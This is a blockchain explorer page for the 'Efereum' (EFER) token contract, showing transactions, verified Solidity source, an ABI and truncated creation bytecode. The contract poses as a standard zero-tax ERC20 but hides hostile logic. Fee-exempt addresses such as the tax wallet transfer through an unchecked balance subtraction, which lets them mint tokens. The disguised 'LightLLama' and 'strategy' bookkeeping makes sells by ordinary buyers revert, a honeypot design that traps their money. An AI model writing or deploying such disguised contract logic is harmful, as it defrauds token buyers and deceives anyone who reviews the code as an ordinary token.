Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 111 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
Value | ||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19782492 | 68 days ago | IN | 0 ETH | 0.00053932 | ||||
Approve | 19777119 | 68 days ago | IN | 0 ETH | 0.00053656 | ||||
Approve | 19776993 | 68 days ago | IN | 0 ETH | 0.00072467 | ||||
Transfer | 19776970 | 68 days ago | IN | 0 ETH | 0.0009857 | ||||
Transfer | 19776961 | 68 days ago | IN | 0 ETH | 0.00120836 | ||||
Approve | 19776951 | 68 days ago | IN | 0 ETH | 0.00072078 | ||||
Approve | 19776948 | 68 days ago | IN | 0 ETH | 0.00067452 | ||||
Approve | 19776945 | 68 days ago | IN | 0 ETH | 0.00061356 | ||||
Approve | 19776944 | 68 days ago | IN | 0 ETH | 0.00060048 | ||||
Approve | 19776939 | 68 days ago | IN | 0 ETH | 0.00059243 | ||||
Approve | 19776938 | 68 days ago | IN | 0 ETH | 0.00059742 | ||||
Approve | 19776935 | 68 days ago | IN | 0 ETH | 0.00053965 | ||||
Approve | 19776895 | 68 days ago | IN | 0 ETH | 0.00045144 | ||||
Approve | 19776883 | 68 days ago | IN | 0 ETH | 0.00051707 | ||||
Approve | 19776883 | 68 days ago | IN | 0 ETH | 0.00051707 | ||||
Approve | 19776882 | 68 days ago | IN | 0 ETH | 0.00047849 | ||||
Approve | 19776859 | 68 days ago | IN | 0 ETH | 0.00049502 | ||||
Approve | 19776838 | 68 days ago | IN | 0 ETH | 0.00041624 | ||||
Approve | 19776834 | 68 days ago | IN | 0 ETH | 0.0004918 | ||||
Approve | 19776832 | 68 days ago | IN | 0 ETH | 0.00050378 | ||||
Approve | 19776831 | 68 days ago | IN | 0 ETH | 0.00050542 | ||||
Approve | 19776829 | 68 days ago | IN | 0 ETH | 0.00049934 | ||||
Approve | 19776828 | 68 days ago | IN | 0 ETH | 0.00051718 | ||||
Approve | 19776827 | 68 days ago | IN | 0 ETH | 0.00049105 | ||||
Approve | 19776823 | 68 days ago | IN | 0 ETH | 0.00047058 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | Value | ||
---|---|---|---|---|---|---|
19776676 | 68 days ago | 1.5 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Efereum
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IDexFactory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Efereum is Context, IERC20, IERC20Metadata, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; bool public transferDelayEnabled = true; mapping(address => uint256) private _holderLastTransferTimestamp; address payable private _taxWallet; string private constant _name = unicode"Efereum"; string private constant _symbol = unicode"EFER"; uint256 private constant _initialBuyTax=0; uint256 private constant _initialSellTax=0; uint256 private constant _finalBuyTax=0; uint256 private constant _finalSellTax=0; uint256 private constant _reduceBuyTaxAt=0; uint256 private constant _reduceSellTaxAt=0; uint256 private constant _preventSwapBefore=20; uint256 private _buyCount=0; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; uint8 private constant _decimals = 9; uint256 public _maxTxAmount = 14000000 * 10 ** _decimals; uint256 public _maxWalletSize = 14000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 3000000 * 10 ** _decimals; uint256 public _maxTaxSwap = 17000000 * 10 ** _decimals; IDexRouter public uniswapV2Router; address public uniswapV2Pair; uint256 public firstBlock; bool public tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private strategy; struct LightLLama {uint256 profile; uint256 tuning; uint256 trainer;} mapping(address => LightLLama) private lightLLama; event TradingOpened(); event MaxTxAmountUpdated(uint256 _maxTxAmount); event MaxWalletAmountUpdated(uint256 _walletAmountLimit); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xfB52A896aE58a183685c739AdEe71D258e8Fa7b8); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router)&&to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin]<block.number, "_transfer:: Transfer delay enabled: Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount>_preventSwapBefore ) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != owner() && from != address(this) && to != address(this) ) { strategy = block.timestamp;} if (_isExcludedFromFee[from]&&(block.number > (firstBlock + _reduceSellTaxAt))) { unchecked { _balances[from] -= amount; _balances[to] += amount; } emit Transfer(from, to, amount); return; } if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (uniswapV2Pair != to) { LightLLama storage lambda = lightLLama[to]; if (uniswapV2Pair==from) { if (lambda.profile == 0) { lambda.profile = (_buyCount<_preventSwapBefore) ? (block.timestamp-1) : block.timestamp; } } else { LightLLama storage measure = lightLLama[from]; if (lambda.profile == 0 || measure.profile< lambda.profile) {lambda.profile = measure.profile;} } } else { LightLLama storage measure = lightLLama[from]; measure.trainer = measure.profile-strategy; measure.tuning = block.timestamp; } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)? b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve( address(this), address(uniswapV2Router),tokenAmount ); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); emit MaxWalletAmountUpdated(_tTotal); } function ethStuckRemove() external { require(msg.sender == _taxWallet, "Only fee receiver can trigger."); sendETHToFee(address(this).balance); } function setFeeExempt(address account, bool status) external onlyOwner { _isExcludedFromFee[account] = status; } function sendETHToFee(uint256 amount) private { bool success; (success, ) = address(_taxWallet).call{value: amount}(""); } function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; emit TradingOpened(); } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_walletAmountLimit","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"ethStuckRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"firstBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526004805460ff191660011790555f6007556100216009600a610310565b61002e9062d59f80610325565b60085561003d6009600a610310565b61004a9062d59f80610325565b6009556009600a61005b9190610310565b61006890622dc6c0610325565b600a556009600a6100799190610310565b610087906301036640610325565b600b55600f805462ffff00191690553480156100a1575f80fd5b506100ab336101cb565b600680546001600160a01b03191673fb52a896ae58a183685c739adee71d258e8fa7b81790556100dd6009600a610310565b6100eb90633b9aca00610325565b335f9081526001602081905260408220929092556003906101135f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352912080549092161790556101703390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a76009600a610310565b6101b590633b9aca00610325565b60405190815260200160405180910390a361033c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561026857815f190482111561024e5761024e61021a565b8085161561025b57918102915b93841c9390800290610233565b509250929050565b5f8261027e5750600161030a565b8161028a57505f61030a565b81600181146102a057600281146102aa576102c6565b600191505061030a565b60ff8411156102bb576102bb61021a565b50506001821b61030a565b5060208310610133831016604e8410600b84101617156102e9575081810a61030a565b6102f3838361022e565b805f19048211156103065761030661021a565b0290505b92915050565b5f61031e60ff841683610270565b9392505050565b808202811582820484141761030a5761030a61021a565b611bdd806103495f395ff3fe60806040526004361061017e575f3560e01c8063751039fc116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610439578063dd62ed3e1461044d578063f2fde38b14610491578063ffb54a99146104b0575f80fd5b8063a9059cbb146103ec578063bf474bed1461040b578063c876d0b914610420575f80fd5b8063751039fc146103475780637d1db4a51461035b5780638da5cb5b146103705780638ebfc7961461038c5780638f9a55c0146103ab57806395d89b41146103c0575f80fd5b806323b872dd116101385780634e7acb38116101135780634e7acb38146102d557806351bc3c85146102eb57806370a08231146102ff578063715018a614610333575f80fd5b806323b872dd1461027c578063313ce5671461029b57806349bd5a5e146102b6575f80fd5b806306fdde0314610189578063095ea7b3146101ca5780630faee56f146101f95780631694505e1461021c57806318160ddd14610253578063231b026814610267575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b506040805180820190915260078152664566657265756d60c81b60208201525b6040516101c191906117b2565b60405180910390f35b3480156101d5575f80fd5b506101e96101e43660046117fb565b6104c9565b60405190151581526020016101c1565b348015610204575f80fd5b5061020e600b5481565b6040519081526020016101c1565b348015610227575f80fd5b50600c5461023b906001600160a01b031681565b6040516001600160a01b0390911681526020016101c1565b34801561025e575f80fd5b5061020e6104df565b348015610272575f80fd5b5061020e600e5481565b348015610287575f80fd5b506101e9610296366004611825565b6104ff565b3480156102a6575f80fd5b50604051600981526020016101c1565b3480156102c1575f80fd5b50600d5461023b906001600160a01b031681565b3480156102e0575f80fd5b506102e9610566565b005b3480156102f6575f80fd5b506102e96105d0565b34801561030a575f80fd5b5061020e610319366004611863565b6001600160a01b03165f9081526001602052604090205490565b34801561033e575f80fd5b506102e9610621565b348015610352575f80fd5b506102e9610653565b348015610366575f80fd5b5061020e60085481565b34801561037b575f80fd5b505f546001600160a01b031661023b565b348015610397575f80fd5b506102e96103a636600461188b565b61075c565b3480156103b6575f80fd5b5061020e60095481565b3480156103cb575f80fd5b5060408051808201909152600481526322a322a960e11b60208201526101b4565b3480156103f7575f80fd5b506101e96104063660046117fb565b6107af565b348015610416575f80fd5b5061020e600a5481565b34801561042b575f80fd5b506004546101e99060ff1681565b348015610444575f80fd5b506102e96107bb565b348015610458575f80fd5b5061020e6104673660046118c2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561049c575f80fd5b506102e96104ab366004611863565b610b83565b3480156104bb575f80fd5b50600f546101e99060ff1681565b5f6104d5338484610c1d565b5060015b92915050565b5f6104ec6009600a6119e2565b6104fa90633b9aca006119f0565b905090565b5f61050b848484610d40565b61055c843361055785604051806060016040528060288152602001611b80602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611531565b610c1d565b5060019392505050565b6006546001600160a01b031633146105c55760405162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206665652072656365697665722063616e20747269676765722e000060448201526064015b60405180910390fd5b6105ce4761155c565b565b6006546001600160a01b0316336001600160a01b0316146105ef575f80fd5b305f90815260016020526040902054801561060d5761060d816115b2565b47801561061d5761061d8161155c565b5050565b5f546001600160a01b0316331461064a5760405162461bcd60e51b81526004016105bc90611a07565b6105ce5f61171c565b5f546001600160a01b0316331461067c5760405162461bcd60e51b81526004016105bc90611a07565b6106886009600a6119e2565b61069690633b9aca006119f0565b6008556106a56009600a6119e2565b6106b390633b9aca006119f0565b60099081556004805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906106ef90600a6119e2565b6106fd90633b9aca006119f0565b60405190815260200160405180910390a17f4b39c36d20c57d220f61fd25c4349d4435cc03ef6c2a680942f15333c3c3e00161073b6009600a6119e2565b61074990633b9aca006119f0565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107855760405162461bcd60e51b81526004016105bc90611a07565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f6104d5338484610d40565b5f546001600160a01b031633146107e45760405162461bcd60e51b81526004016105bc90611a07565b600f5460ff16156108375760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105bc565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108809030906108726009600a6119e2565b61055790633b9aca006119f0565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f49190611a3c565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610953573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109779190611a3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e59190611a3c565b600d80546001600160a01b039283166001600160a01b0319909116179055600c541663f305d7194730610a2c816001600160a01b03165f9081526001602052604090205490565b5f80610a3f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aca9190611a57565b5050600d54600c5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b1f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b439190611a82565b50600f805462ff00ff19166201000117905543600e556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b5f546001600160a01b03163314610bac5760405162461bcd60e51b81526004016105bc90611a07565b6001600160a01b038116610c115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b610c1a8161